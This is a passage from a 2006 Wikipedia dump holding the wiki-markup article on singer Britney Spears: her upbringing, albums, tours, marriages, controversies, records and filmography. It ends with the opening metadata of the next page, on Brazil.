Spears was born in [[McComb]], [[Mississippi]] and raised in [[Kentwood, Louisiana|Kentwood]], [[Louisiana]]. Her parents, who are now divorced, are James Parnell Spears (b. 1952), a building [[contractor]], and Lynne Irene Bridges (b. 1956), a grade school [[teacher]]. Her maternal grandmother, Lillian Woolmoore (b. 1924-d. 1993), was an [[England|English]] [[war bride]], who met Spears' maternal grandfather, Barnett O'Field Bridges (b. 1919-d. 1978), in [[England]] during [[WWII]], and subsequently moved with him to the [[United States]]. Her paternal grandparents were June Austin Spears (b. 1930-) and Emma Jean Forbes (b. 1934-d. 1966); Spears also claims some [[Native Americans in the United States|Native American]] heritage [http://www.indianz.com/ict/showarchive.asp?id=spears]. Spears has a brother, Bryan (b. 1977) and a sister, [[Jamie Lynn Spears|Jamie Lynn]] (b. 1991).

As a young girl, Spears was an accomplished [[gymnast]], attending gymnastics classes until age nine, and competing in state-level competitions. She performed in local [[dance]] [[revue]]s and her local [[Baptist]] [[church]] [[choir]]s, and was auditioning for the [[Disney Channel]]'s ''[[New Mickey Mouse Club]]'' by the time she was eight. Although she was considered too young to join the series at the time, a producer on the show introduced her to a [[New York]] agent. Spears subsequently spent three summers at [[New York City|NYC]]'s Professional Performing Arts School and also appeared in a number of [[off-Broadway]] productions, including 1991's ''Ruthless!''. In 1992, she landed a spot on ''[[Star Search]]'', and though she won the first round, she lost in the second. Spears returned to the [[Disney Channel]] for a spot on the ''New Mickey Mouse Club'' and was accepted. She was featured in the 1993 to 1994 seasons during the ages of eleven and thirteen. Other performers on the show included [[Justin Timberlake]] and [[Joshua Chasez]] (both of whom later became members of the pop group [[*NSYNC]]), [[Keri Russell]] (star of the TV show ''[[Felicity]]''), fellow pop singer [[Christina Aguilera]], and actor [[Ryan Gosling]].

A few years later, Spears recorded a [[demo (music)|demo]], which landed in the hands of a [[Jive Records]] executive. She was signed to their label and began touring American venues for a series of [[concert]]s sponsored by American [[teen magazine]]s, before joining *NSYNC and becoming their opening act.

===1998&amp;ndash;2000: Early commercial success===
[[Image:BritneySpears-BabyOneMoreTime.jpg|thumb|left|200px|''[[...Baby One More Time]]'' (1999) remains Spears' best-selling album worldwide.]]
Spears' debut [[single (music)|single]], &quot;[[...Baby One More Time (song)|...Baby One More Time]]&quot;, impacted radio stations and [[MTV]] in 1998. Led by a [[music video]] that featured the 5'4&quot; brown-eyed blonde in a racy schoolgirl outfit, the single became an international success, earning [[Platinum single|Platinum]] sales and going to number one in the U.S., as well as in countries such as [[Australia]], [[Canada]] and the [[United Kingdom]]. Her [[debut album]] of the same name, ''[[...Baby One More Time]]'', topped the LP charts in the U.S. and Canada for six non-consecutive weeks. Within a year of its release, it had become the best-selling LP by a teenager in history, spawned another U.S. top ten hit (&quot;[[(You Drive Me) Crazy]]&quot;) and shipped over ten million copies in the U.S. alone; it would go on to ship another four million copies on top of this.

Spears was featured on the cover of ''[[Rolling Stone]]'' magazine in April 1999. The sexually suggestive ''[[Lolita (1962 film)|Lolita]]''-themed photo shoot triggered widespread speculation (denied by her camp) that the still-seventeen-year-old had gotten [[breast implants]]. That summer, she kicked off her first headlining tour, the ''[[...Baby One More Time Tour]]''. By late 1999, Spears had become one of the year's biggest stars, a claim backed-up by the amount of award nominations she received that season. In December, she took home four [[Billboard Music Awards]] including one for Female Artist of the Year, and the next month one for Favorite Pop/Rock New Artist at the [[American Music Awards]]. At the [[Grammy Award]]s, held in February 2000, Spears received two nominations, including one for [[Grammy Award for Best New Artist|Best New Artist]].

Following the short-lived ''[[Crazy 2K Tour]]'', the lead single from Spears' second album, &quot;[[Oops!... I Did It Again (song)|Oops!... I Did It Again]]&quot;, was released. It broke a record for most radio station adds in a single day {{ref|ROTN}} and quickly became a U.S. top ten hit and number one single in other countries, including Australia and the U.K. Released in May 2000, the album ''[[Oops!... I Did It Again]]'' also debuted at number one in the U.S. and Canada, and was as commercially successful as her first album. It sold over 1.3 million units during its first week in the U.S., making it the fastest-selling album by a female artist in history. Within a year of release, it had shipped over nine million copies in the U.S. alone. It would go on to ship another million on top of that, and yielded two more top thirty hits: &quot;[[Lucky (song)|Lucky]]&quot; and &quot;[[Stronger]]&quot;.

Spears kicked off her first world tour (titled the ''Oops!... I Did It Again World Tour'') in the summer of 2000, and co-wrote the novel ''[[Britney Spears's Heart-to-Heart|Britney Spears' Heart-to-Heart]]'' with her mother, Lynne. During a performance at the 2000 [[MTV Video Music Awards]], she ripped off a black suit to reveal a provocative nude-colored and crystal-adorned outfit that generated controversy due to her young age. In late 2000, she won two Billboard Music Awards, and in early 2001, she was nominated for two [[American Music Awards]]. At the Grammys, one of her two nominations was for ''Oops!... I Did It Again'' in the category of [[Grammy Award for Best Pop Vocal Album|Best Pop Vocal Album]], but again she did not win.

===2001&amp;ndash;2003: Career development===
In early 2001, Spears struck a $7-8 million [[United States dollar|USD]] promotional deal with the soft drink giant [[Pepsi]] and released her second novel, ''[[A Mother's Gift]]''. She performed at the MTV Video Music Awards the following September, and in addition to criticism for being scantily clad, she angered animal rights organization [[PETA]] for the use of animals, including an albino [[python]], in her performance.

[[Image:SlaveGrind.jpg|thumb|200px|right|Spears in the music video for &quot;[[I'm a Slave 4 U]]&quot; (2001)]]
In November, she released her third album, ''[[Britney]]''. It debuted at number one on both the U.S. and Canadian charts, selling over 740,000 units during its first week in the U.S. This made her the only female artist in SoundScan history to have her first three albums debut at number one. Although over four million copies of the record have been sold in the U.S. alone,{{ref|AlbumsSales}} it was a decline from the sales of her first two albums, and &quot;[[I'm a Slave 4 U]]&quot; was the album's only hit single in the U.S. ''Britney'' was the first album on which Spears assumed some creative control; she co-wrote five of the album's tracks. Spears set off on her next world tour, the ''[[Dream Within a Dream Tour]]'', shortly after its release.

In February 2002, Spears starred in a film, ''[[Crossroads (2002 film)|Crossroads]]'', which reached number two on the [[box-office]] charts in its first weekend, but quickly dropped out of the top 10. Songs from the album ''Britney'' appeared in the film. The movie, along with Spears' performance in it, were poorly received by critics, and she netted herself a [[Razzie Award]] for Worst Actress, tied with [[Madonna (entertainer)|Madonna]]. The film also won, among other nominations, the Worst Original Song Razzie for Spears' &quot;[[I'm Not a Girl, Not Yet a Woman]]&quot;. 

Spears' four-year relationship with [[Justin Timberlake]] ended in March 2002. The break-up was highly publicized, with rumors swirling that Spears had been unfaithful. Timberlake himself left the impression that she had cheated on him. In response to this, Spears later said, &quot;I'm not technically saying he's wrong, but I'm not technically saying he's right, either&quot;. 

In June 2002, Spears branched out as a restaurateur with the opening of a [[New York City]] eatery, NYLA, which was named for its mix of New York and Louisiana [[cuisine]]. It was not a success and closed the following year. Soon after these failures, Spears took a break from the spotlight, and in 2003 many music industry critics speculated her career was in decline. That same year, ''[[Forbes magazine|Forbes]]'' named Spears the most powerful celebrity in the world. She was also nominated for two Grammys yet again, including Best Pop Vocal Album.

Spears returned to the forefront of the pop music scene in August 2003. That month, she appeared at the MTV Video Music Awards with her idol [[Madonna (entertainer)|Madonna]], pop singer [[Christina Aguilera]] and rapper [[Missy Elliott]]. Spears and Aguilera performed Madonna's song &quot;[[Like a Virgin (song)|Like a Virgin]]&quot;, danced suggestively and each locked lips with Madonna (see [[Madonna on the 2003 MTV Video Music Awards]]). Spears' kiss with Madonna attracted huge publicity that would last for several months. 

[[Image:Inthezone.JPG|left|thumb|200px|''[[In the Zone]]'' (2003) is generally considered Spears' most overtly-sexual album to date.]]
November 2003 saw the release of Spears' fourth album, ''[[In the Zone]]''. Jettisoning the [[Max Martin]]-produced [[synthpop]] of her earlier releases, the album took in lesser-known producers such as [[Christopher Stewart (music producer)|RedZone]] and big names including [[Moby]] and [[R. Kelly]]. Spears co-wrote nine of the album's thirteen songs and co-produced some of her material for the first time. ''In the Zone'' went to the top of the U.S. charts in its debut week, selling over 600,000 copies. This made Spears the only female in music history to have her first four albums debut at number one. The ablum sold nearly three million copies in the U.S alone{{ref|AlbumsSales3}} and also spawned the international number one and U.S. top ten hit, &quot;[[Toxic (song)|Toxic]]&quot;, which won Spears her first Grammy in the category of [[Grammy Award for Best Dance Recording|Best Dance Recording]].

On [[January 3]], [[2004]], Spears [[marriage|married]] her childhood friend [[Jason Allen Alexander]] at [[The Little White Wedding Chapel]] on the [[Las Vegas Strip]] in [[Las Vegas, Nevada]]. An [[annulment]] was promptly arranged and was granted on [[January 5]], ending their fifty-five hour marriage. Spears later said about the spur-of-the-moment marriage, &quot;Honestly, I really wanted to see what it was like to be married&quot;. Spears embarked on her fourth world tour, ''[[The Onyx Hotel Tour]]'', the following March. The tour grossed over $34 million USD and was seen by over 600,000 fans in [[North America]] and [[Europe]], but the remaining dates were cancelled in June, after Spears reportedly injured her knee during the filming of the video for the single &quot;[[Outrageous]]&quot;.

That same month, Spears announced her engagement to dancer [[Kevin Federline]]. Federline was formerly in a relationship with actress [[Shar Jackson]], with whom he has two children. On the night of [[September 18]], [[2004]], Spears married Federline before twenty-seven guests in a surprise, non-denominational ceremony at a residence in [[Studio City, California]]. The legitimacy of the marriage was initially questioned, but on [[November 18]], [[2004]], a representative of the Los Angeles County registrar's office confirmed Spears and Federline had successfully filed their marriage license with the county within ten days of their ceremony, and were therefore legally married.

===2004&amp;ndash;2005: Career hiatus and family===
[[Image:Curiosityperfume.jpg|thumb|right|200px|&quot;[[Curious (fragrance)|Curious]]&quot; perfume promotion, at the [[Toronto Eaton Centre]] (2004)]]
During the latter half of 2004, Spears announced she would be taking another career break in order to start a family. Immediately after her marriage to Federline, she had told ''[[People (magazine)|People]]'', &quot;I want to be a young mom. Next year, at 23, I'm so there&quot;. Although she made few public appearances, the 'Britney Spears industry' continued to run itself. In September 2004, she released her first [[fragrance]], &quot;[[Curious (fragrance)|Curious]]&quot; (a floral scent with vanilla and musk), for which she earned a reported $12 million USD. The fragrance had the biggest debut in sales in history from [[Elizabeth Arden]], breaking the record for first-week gross for a perfume; after one year of sales, the product has netted more than $100 million USD.{{ref|Curious}} It ended up as the number one fragrance of 2004 in department stores, and in 2005 it was honored by the Fragrance Foundation as &quot;Best Women's Fragrance&quot;. Following the success of &quot;Curious&quot;, Spears released her next Elizabeth Arden fragrance, &quot;Fantasy&quot; (a fruity scent with flowers and cupcake), in September 2005. &quot;Fantasy&quot; became a top-selling perfume {{ref|Fantasy}} during the holiday season of 2005.

[[Image:Britney Spears - Greatest Hits.jpg|thumb|left|200px|Spears on the cover of ''[[Greatest Hits: My Prerogative]]'' (2004)]]
Spears' first hits collection, ''[[Greatest Hits: My Prerogative]]'', was released in late 2004. The album debuted at number four on the U.S. charts (becoming Spears' first album to not debut at number one domestically), selling over 255,000 copies in its first week of release. In addition to her biggest hits, it featured three new songs, including &quot;[[My Prerogative]]&quot; (a cover of the [[Bobby Brown]] song) and &quot;[[Do Somethin']]&quot; which were released as singles. Since hitting shelves, the album has sold more than a million copies in the States.

During the spring of 2005, Spears' [[reality show]] with husband Kevin Federline, ''[[Britney and Kevin: Chaotic]]'', premiered on [[UPN]] in the U.S. The series included five episodes, and both Spears and Federline were credited as [[executive producer]]s. ''Chaotic'' was panned by most critics, and ratings were not as high as expected. Spears announced her pregnancy via her official website in April 2005. Despite her eagerness to have a baby, she admitted to ''[[ELLE]]'' magazine that, &quot;I have a feeling I'm going to have an operation. I don't know why. But I hope so. I don't want to go through the pain.&quot; On [[September 14]], [[2005]], 6lb. 11oz. baby boy Sean Preston Federline was born in the Santa Monica UCLA Medical Center in [[Santa Monica, California]], using an elective [[caesarean section]]. 

[[Jive Records|Jive]] released a [[remix]] album entitled ''[[B in the Mix: The Remixes]]'' in late 2005. It lacked promotion of any kind in the U.S. and debuted outside the top one hundred, with less than 15,000 copies sold in its first week of release. &quot;''[[And Then We Kiss]]''&quot; was released in Asia. It peaked at #1 in Israel.{{ref|Israel}} The single charted in several Asian countries and it also managed to peak at #21 in the ''U.S. Billboard Hot Dance Airplay''.{{ref|USDance}}

===2006: Return to recording career===
Spears participated in the [[New Orleans Mardi Gras|Mardi Gras]] festivities in [[New Orleans]] on February 28, where she corresponded with ''[[Good Morning America]]''. She will guest star on an episode of ''[[Will &amp; Grace]]'' (currently scheduled to air on [[March 30]]th)[http://www.timesleader.com/mld/timesleader/entertainment/13991403.htm], playing a [[conservative Christian]] character, and release a limited edition fragrance in April 2006 called &quot;In Control: Curious,&quot; which is a spin-off of her first perfume.

In interviews with ''[[People magazine|People]]'' and with ''[[Entertainment Tonight]]'', Spears confirmed that she is currently in the early stages of recording her fifth studio album, to be released sometime in 2006. She commented that she couldn't wait to return because the current pop scene has been &quot;a huge lull&quot; and &quot;boring.&quot; She also revealed that Jive, her record label, didn't let her &quot;show off&quot; her voice during her earlier years and she is determined to come back proving she can sing, saying &quot;I found out after the baby that I can sing!&quot;

==Controversy==
[[Image:britney1.jpg|thumb|right|200px|Spears on the cover of ''[[ELLE]]'' magazine (2003)]]
* Spears' success has rested on a mixed [[fandom|fanbase]]. Some parents of young girls disapprove of or are disgusted by Spears. To many critics, the singer has combined a very raunchy public image with a major marketing &quot;play&quot; for the hearts, minds and pockets of prepubescent girls, often as young as seven or eight. Some parents worry that Spears provides an unsuitable role model for their daughters' lives and career plans. In October 2003, [[Maryland]] First Lady Kendel Ehrlich, the wife of [[Governor]] [[Robert Ehrlich]], was criticized for saying that she would like to &quot;shoot Britney Spears&quot;, in an address to a [[domestic violence]] conference. After her comments made national headlines, she was compelled to apologize. 
* The sexualized public image of Spears once again became a topic of debate as a result of her 2003 semi-[[nude]] photo spread for the men's magazine, ''[[Esquire Magazine|Esquire]]''. Prompted by this, ''[[Playboy]]'' reportedly offered the star over one million USD to pose nude for their magazine, but Spears publicly declined.{{ref|Playboy}} In an interview with [[Diane Sawyer]], she was asked if she had ever gone further than she wished she had with the sexualized photo shoots. Spears responded, &quot;No, I don't think so, no.&quot; After the ''Esquire'' photos were held up in front of her, she said, &quot;Okay. Now those are a little much. Yeah, those are a little much. That's one picture, I must say, that I felt kind of weird about, yeah&quot;.
* The 2004 ''Onyx Hotel Tour'' brought new criticism. While Spears and her on-stage dancers performed her songs &quot;Touch of My Hand&quot; and &quot;Breathe on Me,&quot; they were seemingly nude and were performing routines simulating [[Human sexual behavior#Same-gender sexual practices|gay sex]], [[orgy|orgies]] and [[masturbation]]. As there were underage fans in the audience, there was some outrage at the alleged lack of decency of the performances, as well as reports of adult chaperones angrily storming out with children they brought to the concert. Spears has responded to parents' concerns by stating she is &quot;not their babysitter. It's the parents' responsibility. If you don't like it, turn the TV off. The only person I want to be a role model is to my sister, [[Jamie Lynn Spears|Jamie Lynn]]&quot;. (''From [[American Broadcasting Company|ABC]]'s Primetime interview with Diane Sawyer'')
* Spears has also been criticized for [[lip-synching]]. Most critics and musicians publicly express a negative view on this way of performing, arguing that live entertainment should literally be what it suggests, singing included. Some argue that Spears, like other performers, can't practically sing while being engaged in complicated and demanding dance moves.{{ref|Lip-Synch}} This has lead to the counter-argument that performers shouldn't focus on things like dance moves, and instead focus more on singing.
* Spears' personal life has attracted considerable media attention. Some people feel that she has courted it by cultivating, in her early years at least, a chaste, God-fearing and &quot;wholesome&quot; image. It was somewhat at odds, not only with the traditional pressures, temptations and opportunities of &quot;pop 'n' roll,&quot; but with the increasingly sexualized content of her own songs. Spears' kiss with Madonna at the 2003 MTV Video Music Awards received much media attention, as have her recent marriages.
* In December 2005, Spears sued ''[[US Weekly]]'' for a story the magazine published in the column &quot;HOTstuff&quot; of their October 2005 publication. The column, with the headline ''&quot;Brit &amp; Kev: Secret Sex Tape? New parents have a new worry: racy footage from 2004.&quot;'' claimed that Spears and her husband had made a [[celebrity sex tape|sex video]] and feared it would be distributed. Spears denies the existence of any such tape while the magazine claims to have a credible source, which they failed to mention in the article, and stands by its story without any evidence or eyewitnesses (despite that, the article stated that many people had seen the tape).{{ref|SexTape}}
* Photos published on February 7, 2006 showed Spears driving her SUV on the [[Pacific Coast Highway]] in [[Los Angeles]] with her infant son, Sean, perched on her lap rather than strapped into a car seat in the back. The photos show Spears holding the wheel of the car with one hand, and her 4-month-old baby with the other. In a statement to ''[[People magazine|People]]'', Spears said she did it because of a &quot;horrifying, frightful encounter with the paparazzi&quot; and that &quot;I was terrified that this time the physically aggressive paparazzi would put both me and my baby in danger. I instinctively took measures to get my baby and me out of harm’s way, but the paparazzi continued to stalk us. I love my child and would do anything to protect him&quot;. She later told ''[[Access Hollywood]]'', &quot;It's kind of like I made a mistake and so it is what is, I guess&quot;. No charges were pressed. Later that month, U.S. [[Transportation Secretary]] [[Norman Mineta]], speaking at an event at the [[Children's Hospital of Philadelphia]] to mark the start of Child Passenger Safety Week said, &quot;Recent photos of Britney Spears driving with her infant son on her lap are troubling...and while Ms. Spears has acknowledged her mistake, her actions still send the wrong message to millions of her fans.&quot;

==Career achievements==
* Spears is the best selling female artist of the 2000's (2000-2005),She was named woman of the century by VH1.
* Combined album and single sales topping 125 million.
* Having thirty-one million [[RIAA]]-certified albums sold in the U.S., Spears ranks as the eighth best-selling female artist in American music history.{{ref|AlbumSales4}}
* Only female artist in SoundScan history to have her first three albums debut at number one. Then she broke her own record for a female artist by having her first four albums debut at number one on the [[Billboard 200]] chart. 
* In the U.S., Spears, [[Madonna (entertainer)|Madonna]], [[Celine Dion|Céline Dion]], [[Mariah Carey]], [[Whitney Houston]], [[Shania Twain]] and the [[Dixie Chicks]] are the only female artists with multiple diamond (shipped over ten million copies) albums (Spears has two: '''...Baby One More Time'' and ''Oops!... I Did It Again'').
* Holds the record for youngest artist (at age seventeen) to have his or her first single (&quot;...Baby One More Time&quot;) and first album (''...Baby One More Time'') simultaneously reach number one on the Billboard charts.
* Holds the record in the UK for biggest first-week sales for a greatest hits compilation by a female artist (115,341 copies) with ''[[Greatest Hits: My Prerogative]]''.
* &quot;...Baby One More Time&quot; was the UK's biggest selling single of 1999.
* Has grossed over $145 million USD from tour ticket sales.
* Has grossed over $30 million USD in merchandise from her tours.
* Has topped [[Yahoo!]]'s annual list of the most-searched names three times in the past four years.{{ref|Yahoo!}}

==Voice==
Although Spears does not have the power of [[Whitney Houston]] or the range of [[Mariah Carey]], her soft vocal style has helped bring the pop soubrette into popularity. Spears' voice was seen as distinctive when she first came onto the music scene in 1999. Artists such as [[Ashanti (singer)|Ashanti]], [[Solange Knowles]] and [[Lea (singer)|Lea]] have borrowed from her style. Her detractors have accused her of being derivative of [[Paula Abdul]], [[Madonna (entertainer)|Madonna]] and especially [[Janet Jackson]]. This is a claim Spears has not outwardly denied nor confirmed, saying &quot;I grew up loving a wide variety of music&quot;. Although there has been some controversy over her singing abilities, with some even accusing her of lacking them or depending too much on backup singers or backing tracks, her style has remained consistent.  Her range continues to be disputed and is subject to argument. Her classification as a [[soubrette]] is due to her singing style, which is generally light, sweet, and girly.

==Trivia==
*Spears has a younger sister, [[Jamie Lynn Spears]], who is an actress and singer and is currently starring in the [[Nickelodeon (TV channel)|Nickelodeon]] show ''[[Zoey 101]]''. Spears wrote the theme song &quot;Follow Me&quot; for ''Zoey 101'', though it is sung by Jamie Lynn. Spears also has an older brother, Bryan Spears, who is one of her managers. 
*She also performed a [[somersault|backflip]] for the &quot;...Baby One More Time&quot; video and several for the ''[[New Mickey Mouse Club]]''.
*Two Texas DJs created a panic for Britney's fans when they falsely reported that the pop princess and her boyfriend, 'NSYNC's Justin Timberlake, were in a car accident and that Britney Spears had died in the crash. In reality, both Britney and Justin were alive and well and had not been in any car wreck. 
*She is rumoured to have had flirts with [[Colin Farrell]] and [[Limp Bizkit]]'s [[Fred Durst]] and has been romantically linked with [[Wade Robson]].
*For the film ''[[Chicago (2002 film)|Chicago]]'', producer [[Harvey Weinstein]] wanted Spears for the role that eventually went to [[Lucy Liu]]. Spears was also offered a role in ''[[Scary Movie]]'', but was forced to turn it down due to concert scheduling. She was considered for the part of Allie Hamilton in ''[[The Notebook]]'', but was beat out by [[Rachel McAdams]] and she also wanted the role in ''[[I ♥ Huckabees]]'' that went to [[Naomi Watts]]. Spears had also expressed interest in the role of [[Daisy Duke]] in ''[[The Dukes of Hazzard (film)|The Dukes of Hazzard]]'', but fellow pop singer [[Jessica Simpson]] was given the part.
*She is friends with [[Sarah Michelle Gellar]]. She was asked to appear in the ''[[Buffy the Vampire Slayer]]'' episode &quot;[[I Was Made to Love You (Buffy episode)|I Was Made to Love You]],&quot; but turned down the role due to scheduling conflicts.
*She is friends with [[Natalie Portman]]. Portman was an understudy in the off-Broadway play, ''Ruthless!'', in which Spears had a role. At a [[Manhattan]] hotel in 2003 they co-hosted a carnival-themed [[New Years Eve]] party together. 
*She topped ''[[FHM]]'' magazine's 2004 U.S. and world polls for sexiest woman.
*In May 2004 Spears had a Hebrew tattoo (מהש) inked into the nape of her neck. She was under the impression that it meant &quot;new era,&quot; but Hebrew speakers insist that word (which would probably be pronounced &quot;mahash&quot;) is gibberish. A source said, &quot;She's taken [[Kabbalah]] pretty seriously and this was a big deal for her.&quot; This echoes a similar incident in 2003 when Spears was informed by her friend, actress [[Taryn Manning]], that her hip tattoo (the [[Chinese language|Chinese]] character 奇) read &quot;strange&quot; rather than &quot;mysterious&quot; (see [http://en.wiktionary.org/wiki/%E5%A5%87 Wiktionary]).
*Spears' other tattoos include pink dice on her inner wrist (her husband, [[Kevin Federline]], has matching blue dice), a fairy on her lower back, a daisy on her right toe, a butterfly on her left foot, and a Japanese flower that she reportedly got &quot;down there.&quot; Her foot is adorned with many symbols which represent freedom.
* She publicly declared her trust in [[President]] [[George W. Bush]], as reported in an interview on ''[[Crossfire (TV series)|Crossfire]]'' and featured in the film ''[[Fahrenheit 9/11]]'' by [[Michael Moore]]: &quot;Honestly, I think we should just trust our president in every decision that he makes and we should just support that, you know, and be faithful in what happens.&quot; [http://transcripts.cnn.com/TRANSCRIPTS/0406/25/cf.00.html].

==Discography==
{{main|Britney Spears' discography}}

==Filmography==
{| border=&quot;2px&quot; cellpadding=&quot;4px&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse;&quot;
|- bgcolor=&quot;#CCCCCC&quot;
!Year
!Film/Show
!Role
!Other notes
|-
| [[2007 in film|2007]] || ''[[In the Pink]]'' || Drew Heart || [[Pre-production]]
|-
| [[2002 in film|2002]] || ''[[Austin Powers in Goldmember]]'' || Herself || Cameo
|-
| [[2002 in film|2002]] || ''[[Crossroads (2002 film)|Crossroads]]'' || Lucy Wagner || &amp;mdash;
|-
| [[1999 in film|1999]] || ''[[Longshot (film)|Longshot]]'' || Flight Attendant || Cameo
|-
| 1993/1994 || ''[[The New Mickey Mouse Club]]'' || Herself || &amp;mdash;
|-
| 1990s || ''[[Ruthless!]]'' || Tina Denmark || Off-Broadway
|-
|}

==Miscellaneous==
===Books===
{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! Year !! Book
|-
| 2000 || ''[[Britney Spears's Heart-to-Heart|Britney Spears' Heart-to-Heart]]''
|-
| 2001 || ''[[A Mother's Gift]]''
|-
| 2002 || ''Stages''
|-
| 2003 || ''Britney Spears' Crossroads Diary''
|-
|}

===Official DVDs===
{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! Year !! DVD !! U.S. peak !! U.S. certification !! CAN certification
|-
| 1999 || ''[[Time Out with Britney Spears]]'' || 7 || 3x Platinum || Gold
|-
| 2001 || ''[[Britney Spears - Live and More!|Britney Spears: Live and More!]]'' || 4 || 3x Platinum || 
|-
| 2001 || ''[[Britney: The Videos]]'' || 1 (2 weeks) || 2x Platinum || 
|-
| 2002 || ''[[Britney Spears: Live from Las Vegas]]'' || 1 (6 weeks) || 2x Platinum || 
|-
| 2004 || ''[[In the Zone DVD|In the Zone]]'' || 1 (1 week) || Platinum || 
|-
| 2004 || ''[[Greatest Hits: My Prerogative DVD|Greatest Hits: My Prerogative]]'' || 1 (3 weeks) || 2x Platinum || 
|-
|}

===Select merchandise===
* In 1999, [[Play Along Toys]] released the [[Britney Spears Doll]]. It became one of the biggest-selling dolls of all time.
* ''[[Britney's Dance Beat]]'' is a [[dance game]] featuring five of her songs, for the [[PlayStation 2]], [[PC]] and [[Game Boy Advance]].

===Tours===
{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! Year !! Tour
|-
| 1998 || ''[[Hair Zone Mall Tour]]''
|-
| 1998 || Opened for [[*NSYNC]]
|-
| 1999 || ''[[...Baby One More Time Tour]]''
|-
| 2000 || ''[[Crazy 2K Tour]]''
|-
| 2000 || ''[[Oops!... I Did It Again World Tour]]''
|-
| 2001/2002 || ''[[Dream Within a Dream Tour]]''
|-
| 2004 || ''[[The_Onyx_Hotel_Tour|The Onyx Hotel Tour]]''
|-
|}

==See also==
* [[List of Britney Spears awards]]
* [[Britney Spears music videos]]
* [[Unreleased Britney Spears songs]] 
* [[List of remixes of Britney Spears songs]]
* [[List of non album tracks by Britney Spears]]
* [[List of best-selling music artists]]
* [[List of number-one hits (United States)]]
* [[List of artists who reached number one on the Hot 100 (U.S.)|List of artists who reached number one on the U.S. Billboard Hot 100]]
* [[List of number-one dance hits (United States)]]
* [[List of artists who reached number one on the U.S. Dance chart|List of artists who reached number one on the U.S. dance chart]]
*[[List of artists who reached number one in Ireland]]

==References==
* {{note|WWSales}} [http://www.time.com/time/photoessays/achievers_feature/ ''TIME'' Achievers]
* {{note|ROTN}} [http://www.rockonthenet.com/artists-s/britneyspears_main.htm Rock on the Net: Britney Spears]
* {{note|AlbumsCertifications}} [http://www.riaa.com/gp/database/default.asp RIAA Searchable Database (U.S. Certifications)]
* {{note|AlbumsSales2}}[http://www.billboardradiomonitor.com/radiomonitor/search/article_display.jsp?vnu_content_id=1980227 ''Britney'' U.S. Sales Source]
* {{note|AlbumsSales3}}[http://www.billboardradiomonitor.com/radiomonitor/search/article_display.jsp?vnu_content_id=1000947096 ''In the Zone'' U.S. Sales Source]
* {{note|Playboy}} [http://extratv.warnerbros.com/dailynews/extra/0404/04_19e.html ''Playboy'' Controversy]
* {{note|Curious}} [http://www.brandweek.com/bw/news/recent_display.jsp?vnu_content_id=1001097487 &quot;Curious&quot; Gross]
* {{note|AlbumSales4}} [http://www.mcarchives.com/news/?id=4870 America's Best-Selling Female Artists]
* {{note|Iraq}} [http://www.cnn.com/2003/SHOWBIZ/Music/09/03/cnna.spears/ ''Fahrenheit 9/11'' Quote]
* {{note|Lip-Synch}} [http://www.washingtonpost.com/wp-dyn/articles/A12435-2004Oct30.html Lip-synching]
* {{note|Psychic}} [http://www.msnbc.msn.com/id/9916528/ MSNBC Britney article]
* {{note|Yahoo!}} [http://tools.search.yahoo.com/top2005/ Yahoo!'s Most-Searched 2005]
* {{note|Fantasy}} [http://www.theadvertiser.news.com.au/common/story_page/0,5936,17517616%255E2682,00.html ''The Advertiser'' article on &quot;Fantasy&quot;.]
* {{note|SexTape}} [http://asia.news.yahoo.com/051220/afp/051220054404people.html Sex Tape.]
* {{note|Israel}} [http://www.israel-chart.com/charts/2004/m1.asp &quot;''And Then We Kiss''&quot; #1 peak.]
* {{note|USDance}} [http://www.billboard.com/bbcom/retrieve_chart_history.do?model.vnuArtistId=290150&amp;model.vnuAlbumId=743867 &quot;''And Then We Kiss''&quot; in US Hot Dance Airplay]

==External links==
{{commons|Category:Britney Spears|Britney Spears}}
{{wikiquote}} 

===Official===
* [http://www.britneyspears.com/ Britney Spears: The Official Web Site]
* [http://www.britney.com/ Britney Spears at Jive Records]

===Unofficial===
* {{imdb name|id=0005453|name=Britney Spears}}
* {{nndb name|id=049/000022980|name=Britney Spears}}
*[http://www.jasonrivera.com/viewarticle.php?art_id=318 Review of Britney &amp; Kevin: Chaotic]

[[Category:1981 births|Spears, Britney]]
[[Category:Actor-singers|Spears, Britney]] 
[[Category:American child actors|Spears, Britney]] 
[[Category:American child singers|Spears, Britney]]
[[Category:American female singers|Spears, Britney]]
[[Category:American film actors|Spears, Britney]]
[[Category:American pop singers|Spears, Britney]]
[[Category:American stage actors|Spears, Britney]]
[[Category:American television actors|Spears, Britney]]
[[Category:Austin Powers girls|Spears, Britney]] 
[[Category:American soubrettes|Spears, Britney]]
[[Category:Baptists|Spears, Britney]] 
[[Category:Britney Spears|Spears, Britney]] 
[[Category:Dance Top 40 acts in United States|Spears, Britney]]
[[Category:English Americans|Spears, Britney]]
[[Category:High school dropouts|Spears, Britney]]
[[Category:Hollywood Walk of Fame|Spears, Britney]]
[[Category:Kabbalah Centre followers|Spears, Britney]]
[[Category:Living people|Spears, Britney]]
[[Category:Mouseketeers|Spears, Britney]]
[[Category:People from Louisiana|Spears, Britney]]
[[Category:Reality television stars|Spears, Britney]]
[[Category:Rhythmic Top 40 acts|Spears, Britney]]
[[Category:Soubrettes|Spears, Britney]]
[[Category:Worst Actress Razzie|Spears, Britney]]
[[Category:Worst Supporting Actress Razzie|Spears, Britney]]
&lt;!-- Metadata: see [[Wikipedia:Persondata]] --&gt;
{{Persondata
|NAME=Spears-Federline, Britney Jean
|ALTERNATIVE NAMES=Spears, Britney Jean
|SHORT DESCRIPTION=Singer; occasional actor and songwriter
|DATE OF BIRTH=[[December 2]], [[1981]]
|PLACE OF BIRTH=[[McComb, Mississippi|McComb]], [[Mississippi]]
|DATE OF DEATH=
|PLACE OF DEATH=
}}

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[[he:בריטני ספירס]]
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[[yi:בריטני ספיערס]]
[[zh:布蘭妮·斯皮爾斯]]</text>
    </revision>
  </page>
  <page>
    <title>Brazil</title>
    <id>3383</id>
    <revision>
      <id>42139358</id>
      <timestamp>2006-03-04T02:03:49Z</timestamp>
      <contributor>
        <ip>201.51.244.119</ip>
      </contributor>
      <comment>/* Regions and States */</comment>
      <text xml:space="preserve">{{otheruses}}
{{Infobox_Country
